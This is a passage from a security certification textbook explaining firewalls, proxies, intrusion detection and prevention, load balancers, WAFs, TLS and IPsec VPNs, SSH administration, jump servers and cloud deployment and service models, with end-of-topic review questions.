designed for routing, with a firewall as a secondary feature. SOHO Internet routers/
modems come with a firewall built in, for example.

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Layer 4 and Layer 7 Firewalls

A basic packet filtering firewall is stateless. This means that it does not preserve
information about network sessions. Each packet is analyzed independently, with
no record of previously processed packets. This type of filtering requires the least
processing effort, but it can be vulnerable to attacks spread over a sequence of
packets. A stateless firewall can also introduce problems in traffic flow, especially
when using some sort of load balancing or when clients or servers need to use
dynamically assigned ports.
A stateful inspection firewall tracks information about the session established
between two hosts. All firewalls now incorporate some level of stateful inspection
capability. Session data is stored in a state table. When a packet arrives, the
firewall checks it to confirm whether it belongs to an existing connection. If it does
not, it applies the ordinary packet filtering rules to determine whether to allow it.
Once the connection has been allowed, the firewall usually allows traffic to pass
unmonitored in order to conserve processing effort.

State table in the OPNsense firewall appliance. (Screenshot courtesy of OPNsense.)

Stateful inspection can occur at layer 4 and layer 7.

Layer 4 Firewall
Layer 4 is the OSI transport layer. A layer 4 firewall examines the TCP three-way
handshake to distinguish new from established connections. A legitimate TCP
connection should follow a SYN > SYN/ACK > ACK sequence to establish a session,
which is then tracked using sequence numbers. Deviations from this, such as SYN
without ACK or sequence number anomalies, can be dropped as malicious flooding
or session hijacking attempts. The firewall can be configured to respond to such
attacks by blocking source IP addresses and throttling sessions. It can also track
UDP traffic, though this is harder as UDP is a protocol without connections. It is also
likely to be able to detect IP header and ICMP anomalies.

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OPNsense firewall rule configuration—Advanced settings allow maximums for states

and connections to be applied. (Screenshot courtesy of OPNsense.)

Layer 7 Firewall
A layer 7 firewall can inspect the headers and payload of application-layer packets.
One key feature is to verify the application protocol matches the port because
malware can try to send raw TCP data over port 80 just because port 80 is open, for
instance. As another example, a web application firewall could analyze the HTTP
headers and the webpage formatting code present in HTTP packets to identify
strings that match a pattern in its threat database.
Application-aware firewalls have many different names, including application layer
gateway, stateful multilayer inspection, and deep packet inspection. Application-
aware devices have to be configured with separate filters for each type of traffic
(HTTP and HTTPS, SMTP/POP/IMAP, FTP, and so on).

Proxy Servers
A firewall that performs application layer filtering is likely implemented as a proxy.
Where a network firewall only accepts or blocks traffic, a proxy server works on a
store-and-forward model. The proxy deconstructs each packet, performs analysis,
then rebuilds the packet and forwards it on, providing it conforms to the rules.

The amount of rebuilding depends on the proxy. Some proxies only manipulate the
IP and TCP headers. Application-aware proxies might add or remove HTTP headers.
A deep packet inspection proxy might be able to remove content from an HTTP
payload.

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Forward Proxy Servers

A forward proxy provides for protocol-specific outbound traffic. For example, a web
proxy enables client computers on the local network to connect to websites and
secure websites on the Internet. This is a forward proxy that services TCP ports 80
and 443 for outbound traffic.

Configuring filter settings for the caching proxy server running on OPNsense. The filter can apply
ACLs to prohibit access to IP addresses and URLs. (Screenshot courtesy of OPNsense.)

The main benefit of a proxy is that client computers connect to a specified

point on the perimeter network for web access. This provides a degree of traffic
management and security. In addition, most web proxy servers provide caching
engines, whereby frequently requested webpages are retained on the proxy,
negating the need to re-fetch those pages for subsequent requests.
A proxy server must understand the application it is servicing. For example, a
web proxy must be able to parse and modify HTTP commands, and, potentially,
webpage code and scripts too. Some proxy servers are application-specific; others
are multipurpose. A multipurpose proxy is one configured with filters for multiple
protocol types, such as web data, file transfer protocol data, and email protocol
data.
Proxy servers can generally be classed as non-transparent or transparent.
• A non-transparent proxy means the client must be configured with the proxy
server address and port number to use it. By convention, the port on which the
proxy server accepts client connections is often configured as port TCP/8080.

• A transparent (or forced or intercepting) proxy intercepts client traffic

without the client having to be reconfigured. A transparent proxy must be
implemented as a router or as an inline network appliance.

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Configuring transparent proxy settings for the proxy server running on OPNsense. The proxy
uses its own certificate to intercept secure connections and inspect the URL.
(Screenshot courtesy of OPNsense.)

Both types of proxy can be configured to require users to be authenticated before

allowing access. The proxy is likely to be able to use single sign-on (SSO) to do this
without having to prompt the user for a password.

A proxy auto-configuration (PAC) script allows a client to configure proxy settings

without user intervention. The Web Proxy Auto-discovery (WPAD) protocol allows
browsers to locate a PAC file.

Reverse Proxy Servers

A reverse proxy server provides for protocol-specific inbound traffic. A reverse
proxy is typically deployed on the network edge and configured to listen for client
requests from a public network (the Internet). The proxy applies filtering rules and if
accepted, it creates the appropriate request and forwards it to an application server
within a specially secured screened subnet zone on the local network.

Intrusion Detection Systems

An intrusion system is a control that performs real-time analysis of either network
traffic or system and application logs.

Sensors
A network intrusion system captures traffic via a packet sniffer, referred to as a
sensor. The sensor could use a SPAN/mirror port or an inline TAP. Typically, the
packet capture sensor is placed behind a firewall or close to a server of particular
importance. The idea is usually to identify malicious traffic that has managed to get
past the firewall. A single sniffer can record a large amount of traffic data so you
cannot put multiple sensors everywhere in the network without provisioning the
resources to manage them properly. Depending on network size and resources,
one or a few sensors are deployed to monitor key assets or network paths.

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Intrusion Detection Systems

The traffic captured by each sensor is transferred to a host or appliance running an
intrusion detection system (IDS), such as Snort (snort.org), Suricata (suricata-ids.
org), or Zeek/Bro (zeek.org). When traffic matches a detection signature, the IDS
raises an alert or generates a log entry but does not block the source host. This type
of passive sensor does not slow down traffic and is undetectable by the attacker.
An IDS is used to identify and log hosts and applications and to detect password-
guessing attempts, port scans, worms, backdoor applications, malformed packets
or sessions, and other policy violations.

Viewing an intrusion detection alert generated by Snort in the Kibana app on Security Onion.
(Screenshot courtesy of Security Onion https://securityonionsolutions.com.)

Intrusion Prevention Systems

An intrusion prevention system (IPS) is an appliance or software capable of an
active response. An IPS scans traffic to match detection signatures and it can be
configured to automatically act to stop an attack. The following responses are
typical:
• Block the source of the noncompliant traffic, either temporarily or permanently.
This is referred to as shunning.

• Reset the connection but do not block the source address.

• Redirect traffic to a honeypot or honeynet for additional threat analysis.

An IPS can be deployed as an inline appliance with an integrated firewall and

routing/forwarding capability. If deployed with a passive sensor, it can implement
the response action by reconfiguring another appliance, such as a firewall or
router. This functionality uses a script or application programming interface (API) to
integrate the two security controls.

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Next-Generation Firewalls and Unified Threat

Management
While intrusion detection was originally produced as stand-alone software or
appliances, its functionality quickly became incorporated into a new generation
of firewalls. The original next-generation firewall (NGFW) was released in 2010
by Palo Alto. There is no official specification for what an NGFW can do, but the
following features are typical:
• Layer 7 application-aware filtering, including inspection of Transport Layer
Security (TLS) encrypted traffic.

• Integration with network directories, facilitating per-user or per-role content

and time-based filtering policies, providing better protection against an insider
threat.

• Intrusion prevention system (IPS) functionality. Next-generation firewalls can

combine traditional firewall functionalities with advanced capabilities, such as
deep packet inspection, intrusion prevention, and application awareness.

• Integration with cloud networking.

Unified threat management (UTM) refers to a security product that centralizes

many types of security controls—firewall, antimalware, network intrusion
prevention, spam filtering, content filtering, data loss prevention, virtual private
networking (VPN), cloud access gateway, and endpoint protection/malware
scanning—into a single appliance. This means monitoring and management of
diverse controls are consolidated into a single console. Nevertheless, UTM has
some downsides. When a defense is unified under a single system, this creates the
potential for a single point of failure that could affect an entire network. Distinct
security systems, if they fail, might only compromise that particular avenue of
attack.
Additionally, UTM systems can struggle with latency issues if subject to too much
network activity. Also, a UTM might not perform as well as software or a device with
a single dedicated security function.

To some extent, NGFW and UTM are just marketing terms. UTM is commonly deployed
in small and medium-sized businesses that require a comprehensive security solution
but have limited resources and IT expertise. A UTM is seen as a turnkey "do everything"
solution, while a NGFW is an enterprise product with fewer features but better
performance.

Load Balancers
A load balancer distributes client requests across available server nodes in a
farm or pool. This is used to provision services that can scale from light to heavy
loads and to provide mitigation against denial of service attacks. A load balancer
also provides fault tolerance. If there are multiple servers available in a farm all
addressed by a single name/IP address via a load balancer, then if a single server
fails, client requests can be forwarded to another server in the farm.
A load balancer can be deployed in any situation where there are multiple
servers providing the same function. Examples include web servers, front-end
email servers, web conferencing, video conferencing, and streaming media
servers.

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There are two main types of load balancers:

• Layer 4 load balancer—basic load balancers make forwarding decisions on
IP address and TCP/UDP port values, working at the transport layer of the OSI
model.

• Layer 7 load balancer (content switch)—as web applications have become

more complex, modern load balancers need to be able to make forwarding
decisions based on application-level data, such as a request for a particular
uniform resource locator (URL) web address or data types like video or audio
streaming. This requires more complex logic, but the processing power of
modern appliances is sufficient to deal with this.

Topology of basic load balancing architecture. (Images © 123RF.com.)

Scheduling
The scheduling algorithm is the code and metrics that determine which node is
selected for processing each incoming request. The simplest type of scheduling
is called round robin; this means picking the next node. Other methods include
picking the node with the fewest connections or the best response time. Each
method can be weighted using administrator-set preferences or dynamic load
information, or both.
The load balancer must also use some type of heartbeat or health check probe to
verify whether each node is available and under load or not. Layer 4 load balancers
can only make basic connectivity tests while layer 7 appliances can test the
application’s state and verify host availability.

Source IP Affinity and Session Persistence

When a client device has established a session with a particular node in the server
farm, it may be necessary to continue to use that connection for the duration of
the session. Source IP or session affinity is a layer 4 approach to handling user
sessions. It means that when a client establishes a session, it becomes stuck to the
node that first accepted the request.

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An application-layer load balancer uses persistence to keep a client connected

to a session. Persistence typically works by setting a cookie either on the node or
injected by the load balancer. This can be more reliable than source IP affinity but
requires the browser to accept the cookie.

Web Application Firewalls

A web application firewall (WAF) is designed to protect software running on
web servers and their back-end databases from code injection and denial of
service attacks. WAFs use application-aware processing rules to filter traffic and
perform application-specific intrusion detection. The WAF can be programmed with
signatures of known attacks and use pattern matching to block requests containing
suspect code. The output from a WAF will be written to a log, which can reveal
potential threats to the web application.

With the ModSecurity WAF installed to this IIS server, a scanning attempt has been detected
and logged as an Application event. As you can see, the default ruleset generates a lot of events.
(Screenshot used with permission from Microsoft.)

A WAF may be deployed as an appliance protecting the zone that the web server is
placed in or as plug-in software for a web server platform.

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Review Activity:
Network Security Appliances
7

Answer the following questions:

1. True or False? As they protect data at the highest layer of the protocol
stack, application-based firewalls have no basic packet filtering
functionality.

2. A proxy server implements a gateway for employee web and email

access and is regularly monitored for compromise. If any compromise is
detected, the proxy must enter a fail state that prevents further access.
What type of fail mode is required?

3. You need to deploy an appliance WAF to protect a web server farm

without making any layer 3 addressing changes. Is WAF functionality
supported by appliances and, if so, what device attribute should the
appliance support?

4. What IPS mechanism can be used to block traffic that violates policy
without also blocking the traffic source?

5. True or false? When deploying a non-transparent proxy, clients must be

configured with the proxy address and port.

6. What is meant by scheduling in the context of load balancing?

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Topic 5C
Secure Communications
7

EXAM OBJECTIVES COVERED

3.2 Given a scenario, apply security principles to secure enterprise infrastructure.

With today’s mobile workforce, most networks have to support connections by

remote employees, contractors, and customers. These connections often use
untrusted public networks such as the Internet. Consequently, understanding how
to implement secure communications protocols for virtual networking will be a
major part of your job as an information security professional.
There are also cases where a user needs to remotely access an individual host. This
most commonly allows administrators to remotely manage workstations, servers,
and network appliances, but it can also provide ordinary users access to a desktop.

Remote Access Architecture

Remote access networking means that the user’s device does not make a direct
cabled or wireless connection to the network. The connection occurs over or
through an intermediate network.
Historically, remote access used analog modems connecting over the telephone
system. These days, most remote access is implemented as a virtual private
network (VPN), running over Internet Service Provider (ISP) networks.
With a remote access VPN, clients connect to a VPN gateway on the edge of the
private network. This client-to-site VPN topology is the “telecommuter” model,
allowing homeworkers and employees working in the field to connect to the
corporate network. The VPN protocol establishes a secure tunnel to keep the
contents private, even when the packets pass over ISPs’ routers.

Remote access VPN. (Images © 123RF.com.)

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A VPN can also be deployed in a site-to-site model to connect two or more private
networks. Whereas remote access VPN connections are typically initiated by the
client, a site-to-site VPN is configured to operate automatically. The gateways
exchange security information using whichever protocol the VPN is based on.
This establishes a trust relationship between the gateways and sets up a secure
connection through which to tunnel data. Hosts at each site do not need to be
configured with any information about the VPN. The routing infrastructure at each
site determines whether to deliver traffic locally or send it over the VPN tunnel.

Site-to-site VPN. (Images © 123RF.com.)

A third topology is a host-to-host tunnel. This is a means of securing traffic between

two computers where the private network is not trusted.

Several VPN protocols have been used over the years. Legacy protocols such as the
Point-to-Point Tunneling Protocol (PPTP) have been deprecated because they do
not offer adequate security. Transport Layer Security (TLS) and Internet Protocol
Security (IPsec) are now the preferred options for configuring VPN access.

Transport Layer Security Tunneling

A transport layer security (TLS) VPN means the client connects to the remote
access server using digital certificates. The server certificate identifies the VPN
gateway to the client. Optionally, the client can also be configured with its own
certificate. This allows for mutual authentication, where both server and client prove
their identity to one another. TLS creates an encrypted tunnel for the user to submit
authentication credentials. These would normally be processed by a RADIUS server.
Once the user is authenticated and the connection is fully established, the VPN
gateway tunnels all communications for the local network over the secure socket.

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Configuring an OpenVPN server in the OPNsense security appliance. This configuration creates
a remote access VPN. Users are authenticated via a RADIUS server on the local network.
(Screenshot courtesy of OPNsense.)

Configuring a server certificate for OpenVPN in the OPNsense security appliance.

(Screenshot courtesy of OPNsense.)

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A TLS VPN can use either TCP or UDP. UDP might be chosen for marginally superior
performance, especially when tunneling latency-sensitive traffic such as voice or video.
TCP might be easier to use with a default firewall policy. TLS over UDP is also referred to
as Datagram TLS (DTLS).

It is important to use a secure version of TLS. The latest version at the time of writing is
TLS 1.3. TLS 1.2 is also still supported. Versions earlier than this are deprecated.

Internet Protocol Security Tunneling

Transport Layer Security is applied at the application level. Internet Protocol
Security (IPsec) operates at the network layer of the OSI model (layer 3). This
means that it can be implemented without having to configure specific application
support and that it incurs less packet overhead.
There are two core protocols in IPsec, which can be applied singly or together,
depending on the policy:
• Authentication Header (AH)—performs a cryptographic hash on the whole
packet, including the IP header, plus a shared secret key (known only to the
communicating hosts), and adds this value in its header as an Integrity Check
Value (ICV). The recipient performs the same function on the packet and key and
should derive the same value to confirm that the packet has not been modified.
The payload is not encrypted so this protocol does not provide confidentiality.

• Encapsulating Security Payload (ESP) can be used to encrypt the packet rather
than simply calculating an ICV. ESP attaches three fields to the packet: a header,
a trailer (providing padding for the cryptographic function), and an Integrity
Check Value. Unlike AH, ESP excludes the IP header when calculating the ICV.

IPsec can be used in two modes:

• Transport mode—is used to secure communications between hosts on a
private network. When ESP is applied in transport mode, the IP header for each
packet is not encrypted, just the payload data. If AH is used in transport mode, it
can provide integrity for the IP header.

IPsec datagram using AH and ESP in transport mode.

• Tunnel mode—is used for communications between VPN sites across an

unsecure network. With ESP, the whole IP packet (header and payload) is
encrypted and encapsulated as a datagram with a new IP header. AH has no
use case in tunnel mode, as confidentiality is usually required.

IPsec datagram using ESP in tunnel mode.

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Configuring a site-to-site VPN using IPsec tunneling with ESP encryption in the OPNsense
security appliance. (Screenshot courtesy of OPNsense.)

Internet Key Exchange

Each host or router that uses IPsec must be assigned a policy. An IPsec policy sets
the authentication mechanism and also the use of AH/ESP and transport or tunnel
mode for a connection between two peers.
IPsec’s encryption and hashing functions depend on a shared secret. The secret
must be communicated to both peers, and the peers must perform mutual
authentication to confirm one another’s identity. The Internet Key Exchange
(IKE) protocol implements an authentication method, selects which cryptographic
ciphers are mutually supported by both peers, and performs key exchange. The set
of properties is referred to as a security association (SA).

Configuring IKE for certificate-based authentication in the OPNsense security appliance.

(Screenshot courtesy ofOPNsense.)

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IKE negotiations take place over two phases:

1. Phase I establishes the identity of the two peers and performs key agreement
using the Diffie-Hellman algorithm to create a secure channel. Two methods
of authenticating peers are commonly used:

• Digital certificates—are issued to each peer by a mutually trusted

certificate authority to identify one another.

• Pre-shared key (group authentication)—is when the same passphrase is

configured on both peers.

2. Phase II uses the secure channel created in Phase I to establish which ciphers
2.

and key sizes will be used with AH and/or ESP in the IPsec session.

There are two versions of IKE. Version 1 was designed for site-to-site and host-to-
host topologies and requires a supporting protocol to implement remote access
VPNs. IKEv2 has some additional features that have made the protocol popular for
use as a stand-alone remote access client-to-site VPN solution. The main changes
are the following:
• Supports EAP authentication methods, allowing, for example, user
authentication against a RADIUS server.

• Provides a simple setup mode that reduces bandwidth without compromising

security.

• Allows network address translation (NAT) traversal and MOBIKE multihoming.

NAT traversal makes it easier to configure a tunnel allowed by a home router/
firewall. Multihoming means that a smartphone client with Wi-Fi and cellular
interfaces can keep the IPsec connection alive when switching between them.

Remote Desktop
A remote access VPN joins the user’s PC or smartphone to a remote private network
via a secure tunnel over a public network. Remote access can also be a means
of connecting to a specific computer over a network. This type of remote access
involves connecting to a terminal server on a host using software that transfers
shell data only. The connection could be a client and terminal server on the same
local network or across remote networks.
A graphical remote access tool sends screen and audio data from the remote host
to the client and transfers mouse and keyboard input from the client to the remote
host. Microsoft’s Remote Desktop Protocol (RDP) can be used to access a physical
machine on a one-to-one basis.
Alternatively, a site can operate a remote desktop gateway that facilitates access
to virtual desktops or individual apps running on the network servers. RDP
connections are encrypted by default. There are several popular alternatives to
Remote Desktops. Most support remote access to platforms other than Windows
(macOS and iOS, Linux, Chrome OS, and Android, for instance). Examples include
TeamViewer (teamviewer.com/en) and Virtual Network Computing (VNC), which
is implemented by several different providers (notably realvnc.com/en).
In the past, these remote desktop products required a dedicated client app.
Remote desktop access can now just use a web browser client. The canvas element
introduced in HTML5 allows a browser to draw and update a desktop with relatively
little lag. It can also handle audio. This is referred to as an HTML5 VPN or as a
clientless remote desktop gateway (guacamole.apache.org). This solution uses a
protocol called WebSocket, which enables bidirectional messages to be sent between
the server and client without requiring the overhead of separate HTTP requests.

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Secure Shell
Secure Shell (SSH) is the principal means of obtaining secure remote access to a
command line terminal. The main uses of SSH are for remote administration and
secure file transfer (SFTP). Numerous commercial and open-source SSH products
are available for all the major NOS platforms. The most widely used is OpenSSH
(openssh.com).
SSH servers are identified by a public/private key pair that is referred to as the
host key. Host names can be mapped to host keys manually by each SSH client,
or through various enterprise software products designed for SSH host key
management.

Confirming the SSH server’s host key using the PuTTY SSH client. (Screenshot used
with permission from PuTTY.)

The host key must be changed if any compromise of the host is suspected. If an attacker
has obtained the private key of a server or appliance, they can masquerade as that
server or appliance and perform a spoofing attack, usually with a view to obtaining
other network credentials.

The server’s host key is used to set up a secure channel to use for the client to
submit authentication credentials.

SSH Client Authentication

SSH allows various methods for the client to authenticate to the server. Each of
these methods can be enabled or disabled as required on the server, using the /etc/
ssh/sshd_config file:
• Username/password—is when the client submits credentials that are verified
by the SSH server either against a local user database or using a RADIUS server.

• Public key authentication—is when each remote user’s public key is added to a
list of keys authorized for each local account on the SSH server.

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• Kerberos—is when the client submits the Kerberos credentials (a Ticket Granting
Ticket) obtained when the user logs onto the workstation to the server using the
Generic Security Services Application Program Interface (GSSAPI). The SSH server
contacts the Ticket Granting Service (in a Windows environment, this will be a
domain controller) to validate the credentials.

Managing valid client public keys is a critical security task. Many recent attacks on web
servers have exploited poor key management. If a user's private key is compromised,
delete the public key from the appliance and then regenerate the key pair on the user's
(remediated) client device and copy the public key to the SSH server. Always delete
public keys when the user's access permissions have been revoked.

SSH Commands
SSH commands are used to connect to hosts and set up authentication methods.
To connect to an SSH server at 10.1.0.10 using an account named “bobby” and
password authentication, run:
ssh [email protected]
The following commands create a new key pair and copy it to an account on the
remote server:
ssh-keygen -t rsa
ssh-copy-id [email protected]
At an SSH prompt, you can now use the standard Linux shell commands. Use exit
to close the connection.
You can use the scp command to copy a file from the remote server to the local
host:
scp [email protected]:/logs/audit.log audit.log
Reverse the arguments to copy a file from the local host to the remote server. To copy
the contents of a directory and any subdirectories (recursively), use the -r option.

Out-of-Band Management and Jump Servers

A remote access management channel refers to the specific use case of using
a secure network and shell application to administer a network switch, router,
firewall, or server. The secure administrative workstations (SAWs) used as
management clients must be tightly locked down, ideally installed with only the
software required to access the administrative channel—minimal web browser,
remote desktop client, or SSH virtual terminal, for instance. SAWs should be denied
Internet access or be restricted to a handful of approved vendor sites for patches,
drivers, and support. The devices must also be subject to stringent access control
and auditing so any misuse is detected at the earliest opportunity.

Out-of-Band Management
Remote management methods are either in-band or out-of-band (OOB). An
in-band management link shares traffic with other communications on the
production network. The connection method must use TLS, IPsec, RDP, or
SSH encrypted sessions to ensure confidentiality and integrity.

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A serial console or modem port on a router is a physically out-of-band management

method. A network appliance can also be managed using a browser-based
interface or a virtual terminal over Ethernet and IP. This type of management link
is made out-of-band either by connecting the port used for management access
to a physically separate network infrastructure or connecting to a dedicated
management VLAN. This can be costly to implement, but out-of-band management
is more secure and means that access to the device is preserved when there are
problems affecting the production network.

Jump Servers
One of the challenges of managing hosts exposed to the Internet, such as in a
screened subnet or cloud network, is providing administrative access to the servers
and appliances located within it. On the one hand, a link is necessary; on the
other, the administrative interface could be compromised and exploited as a pivot
point into the rest of the network. Consequently, management of hosts permitted
to access administrative interfaces on hosts in the secure zone must be tightly
controlled. Configuring and auditing this type of control when there are many
different servers operating in the zone is complex.
One solution to this complexity is to add a single administration server, or jump
server, to the secure zone. The jump server only runs the necessary administrative
port and protocol, such as SSH or RDP. Administrators connect to the jump server
and then use the jump server to connect to the admin interface on the application
server. The application server’s admin interface has a single entry in its ACL (the
jump server) and denies connection attempts from any other hosts.

Securing management traffic using a jump server. (Images © 123RF.com.)

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Review Activity:
Secure Communications
8

Answer the following questions:

1. True or false? A TLS VPN can only provide access to web-based network
resources.

2. What IPsec mode would you use for data confidentiality on a private
network?

3. What is the main advantage of IKEv2 over IKEv1?

4. What value confirms the identity of an SSH server to a client?

5. Server A is configured to forward commands over SSH to a pool of

database servers. The database servers do not accept SSH connections
from any other source. What type of configuration does Server A
implement?

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Lesson 5
Summary
6

You should understand the use of segmentation to implement zone-based security

topologies and be able to select appropriate control types and deployment
locations to protect networks and hosts in given scenarios.

Guidelines for Implementing Secure Enterprise

Network Architecture
Follow these guidelines when you implement designs for new or extended
networks:
• Identify business workflows and the servers, clients, protocols, and data assets
that support them. Design segmented network zones or blocks that support the
security requirements, using VLANs, subnets, and firewall policies to implement
the design.

• Deploy switching and routing appliances and protocols to support each block,
accounting for port security or 802.1X network access control (NAC).

• Analyze the attack surface and select effective controls deployed to appropriate
network locations:

• Deploy port security or 802.1X NAC to mitigate risks from rogue devices
attached to physical network ports.

• Deploy routing firewalls to enforce access control and intrusion prevention at

zone perimeters, utilizing layer 4 or layer 7 filtering as appropriate.

• Deploy transparent firewalls to protect hosts and segments without having to

change the IP topology.

• Deploy sensors for intrusion detection behind firewalls or on a mirrored

switch port to monitor traffic within a zone.

• Consider the use of proxy servers, NGFW, and WAF for advanced application
and user-aware filtering.

• Consider the use of UTM to deploy additional security control capabilities

alongside firewall/IPS functionality.

• Design load-balanced services to provision high availability and fault tolerance.

• Accommodate remote access client-to-site, site-to-site, and host-to-host secure

communications requirements with TLS and IPsec VPN protocols.

• Implement secure communications for desktop/shell remote access with RDP

and SSH. Consider the use of a jump server to consolidate the management of a
group of servers in a protected zone.

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 Lesson 6
Secure Cloud Network Architecture
1

LESSON INTRODUCTION
Cloud network architecture encompasses a range of concepts and technologies
designed to ensure the confidentiality, integrity, and availability of data and
applications within cloud-based environments. Cloud architecture and modern
software deployment practices enable seamless integration, management, and
optimization of resources within cloud-based environments. Key features include
on-demand provisioning, elasticity, and scalability, which allow rapid deployment
and dynamic adjustments to computing, storage, and network resources as
required.
Additionally, multi-tenancy and virtualization technologies enable efficient resource
sharing and isolation among diverse users and workloads. Cloud architecture
also employs load balancing and auto-scaling to distribute workloads evenly and
maintain high availability and performance. Furthermore, hybrid and multi-cloud
strategies allow organizations to leverage various cloud service providers, reducing
vendor lock-in and promoting a more resilient and cost-effective infrastructure.

Lesson Objectives
In this lesson, you will do the following:
• Summarize secure cloud and virtualization services.

• Apply cloud security solutions.

• Summarize infrastructure as code concepts.

• Explore the Internet of Things.

• Review zero trust architecture concepts.

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Topic 6A
Cloud Infrastructure
2

EXAM OBJECTIVES COVERED

3.1 Compare and contrast security implications of different architecture models.

Understanding cloud platform concepts is crucial for security professionals to

effectively protect digital assets, ensure compliance, and manage risk in modern
IT environments. As organizations increasingly adopt cloud services, security
professionals must be adept at identifying potential vulnerabilities, implementing
robust security measures, and monitoring cloud-based resources to mitigate
potential threats. Familiarity with cloud platform concepts enables security
professionals to navigate the shared responsibility model, where cloud service
providers and users collaborate to maintain a secure infrastructure.
Additionally, understanding cloud technologies is essential for developing
tailored security strategies, embracing best practices, and adhering to regulatory
requirements. As cloud computing continues to evolve rapidly, security
professionals must stay up-to-date with the latest advancements and threat
landscapes to safeguard their organizations’ valuable data and resources.

Cloud Deployment Models

A cloud deployment model classifies how the service is owned and provisioned. It
is important to recognize that deployment models have different impacts on threats
and vulnerabilities. Cloud deployment models can be broadly categorized
as follows:
• Public (or multi-tenant)—is a service offered over the Internet by cloud
service providers (CSPs) to cloud consumers. With this model, businesses can
offer subscriptions or pay-as-you-go financing, while at the same time providing
lower-tier services free of charge. As a shared resource, there are risks regarding
performance and security. Multi-cloud architectures are where an organization
uses services from multiple CSPs.

• Hosted Private—is hosted by a third party for the exclusive use of the
organization. This is more secure and can guarantee better performance but is
correspondingly more expensive.

Private—cloud infrastructure that is completely private to and owned by the

organization. In this case, there is likely to be one business unit dedicated to
managing the cloud while other business units make use of it. With private cloud
computing, organizations exercise greater control over the privacy and security
of their services. This type of delivery method is geared more toward banking and
governmental services that require strict access control in their operations.
A private cloud could be on-premises or off-site relative to the other business
units. An on-site link can obviously deliver better performance and is less likely to
be subject to outages (loss of an Internet link, for instance). On the other hand, a
dedicated off-site facility may provide better shared access for multiple users in
different locations.

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• Community—is where several organizations share the costs of either a hosted

private or fully private cloud. This is usually done in order to pool resources for a
common concern, like standardization and security policies.

There will also be cloud computing solutions that implement a hybrid public/
private/community/hosted/on-site/off-site solution. For example, a travel
organization may run a sales website for most of the year using a private cloud but
break out the website to a public cloud when much higher utilization is forecast.
Flexibility is a key advantage of cloud computing, but the implications for data risk
must be well understood when moving data between private and public storage
environments.

Security Considerations
Different cloud architecture models have varying security implications to consider
when deciding which one to use.
• Single-tenant architecture—provides dedicated infrastructure to a single
customer, ensuring that only that customer can access the infrastructure. This
model offers the highest level of security as the customer has complete control
over the infrastructure. However, it can be more expensive than multi-tenant
architecture, and the customer is responsible for managing and securing the
infrastructure.

• Multi-tenant architecture—is when multiple customers share the same

infrastructure, with each customer’s data and applications separated logically
from other customers. This model is cost-effective but can increase the risk of
unauthorized access or data leakage if not properly secured.

• Hybrid architecture—uses public and private cloud infrastructure. This model

provides greater flexibility and control over sensitive data and applications by
allowing customers to store sensitive data on private cloud infrastructure while
using public cloud infrastructure for less sensitive workloads. However, it also
requires careful management to ensure proper integration and security between
the public and private clouds.

• Serverless architecture—is when the cloud provider manages the

infrastructure and automatically scales resources up or down based on demand.
This model can be more secure than traditional architectures because the cloud
provider manages and secures the infrastructure. However, customers must still
take steps to secure access to their applications and data.

Hybrid Cloud
A hybrid cloud most commonly describes a computing environment combining
public and private cloud infrastructures, although any combination of cloud
infrastructures constitutes a hybrid cloud. In a hybrid cloud, companies can store
data in a private cloud but also leverage the resources of a public cloud when
needed. This allows for greater flexibility and scalability, as well as cost savings. A
hybrid cloud is commonly used because it enables companies to take advantage
of the benefits of both private and public clouds. Private clouds can provide
greater security and control over data, while public clouds offer more cost-effective
scalability and access to a broader range of resources. A hybrid cloud also allows
for a smoother transition to the cloud for companies that may need more time to
migrate all of their data.

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A hybrid cloud also presents security challenges, such as managing multiple

cloud environments and enforcing consistent security policies. One issue is the
complexity of managing multiple cloud environments and integrating them with on-
premises infrastructure, which can create security gaps and increase the risk of data
breaches. Another concern is the potential for unauthorized access to data and
applications, particularly when sensitive information is stored in the public cloud.
This is often mistakes caused by confusion over the boundary between on-premises
and public cloud infrastructure. Additionally, using multiple cloud providers can
make it challenging to enforce consistent security policies across all environments.
A hybrid cloud infrastructure can provide data redundancy features, such as
replicating data across on-premises and cloud infrastructure. Data protection
can be achieved through redundancy, but it can also lead to issues with data
consistency stemming from synchronization problems among multiple locations.
Considering that legal compliance is a critical concern when implementing any
type of cloud environment, organizations must ensure that data stored in both
the on-premises and cloud components of the hybrid environment comply with
these mandates. This adds additional complexity to data governance and security
operations.
Another consideration is the establishment and enforcement of service-level
agreements (SLAs). SLAs formally outline all performance, availability, and
support expectations between the cloud service provider and the organization.
Guaranteeing expected levels of service can be challenging when dealing with the
integration of different cloud and on-premises systems. Other concerns related to
the hybrid cloud include the potential for increased network latency due to large
data transfer volumes between on-premises and cloud environments that impact
application performance, and monitoring the hybrid environment can be more
complex due to the requirement for specialized expertise and tools.

Cloud Service Models

As well as the ownership model (public, private, hybrid, or community), cloud
service models are often differentiated on their level of complexity and the
amount of pre-configuration provided. These models are referred to as something
or anything as a service (XaaS). The three most common implementations are
infrastructure, software, and platform.

Software as a Service
Software as a service (SaaS) is a model of provisioning software applications.
Rather than purchasing software licenses for a given number of seats, a business
accesses software hosted on a supplier’s servers on a pay-as-you-go or lease
arrangement (on-demand). The virtual infrastructure allows developers to provision
on-demand applications much more quickly than previously. The applications
are developed and tested in the cloud without the need to test and deploy on
client computers. Examples include Microsoft Office 365 (microsoft.com/en-us/
microsoft-365/enterprise), Salesforce (salesforce.com), and Google G Suite (gsuite.
google.com).

Platform as a Service
Platform as a service (PaaS) provides resources somewhere between SaaS
and IaaS. A typical PaaS solution would provide servers and storage network
infrastructure (as per IaaS) but also provide a multi-tier web application/database
platform on top. This platform could be based on Oracle and MS SQL or PHP and
MySQL. Examples include Oracle Database (oracle.com/database), Microsoft Azure
SQL Database (azure.microsoft.com/services/sql-database), and Google App Engine
(cloud.google.com/appengine).

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Distinct from SaaS, this platform would not be configured to do anything. Your
developers would create the software (the CRM or e‑commerce application) that
runs using the platform. The service provider would be responsible for the integrity
and availability of the platform components, and you would be responsible for the
security of the application you created on the platform.

Infrastructure as a Service
Infrastructure as a service (IaaS) is a means of provisioning IT resources such
as servers, load balancers, and storage area network (SAN) components quickly.
Rather than purchase these components and the Internet links they require, you
rent them as needed from the service provider’s datacenter. Examples include
Amazon Elastic Compute Cloud (aws.amazon.com/ec2), Microsoft Azure Virtual
Machines (azure.microsoft.com/services/virtual-machines), Oracle Cloud (oracle.
com/cloud), and OpenStack (openstack.org).

Third-Party Vendors
Third-party vendors are external entities that provide organizations with goods,
services, or technology solutions. In cloud computing, third-party vendors refer to
the providers offering cloud services to businesses using infrastructure-, platform-,
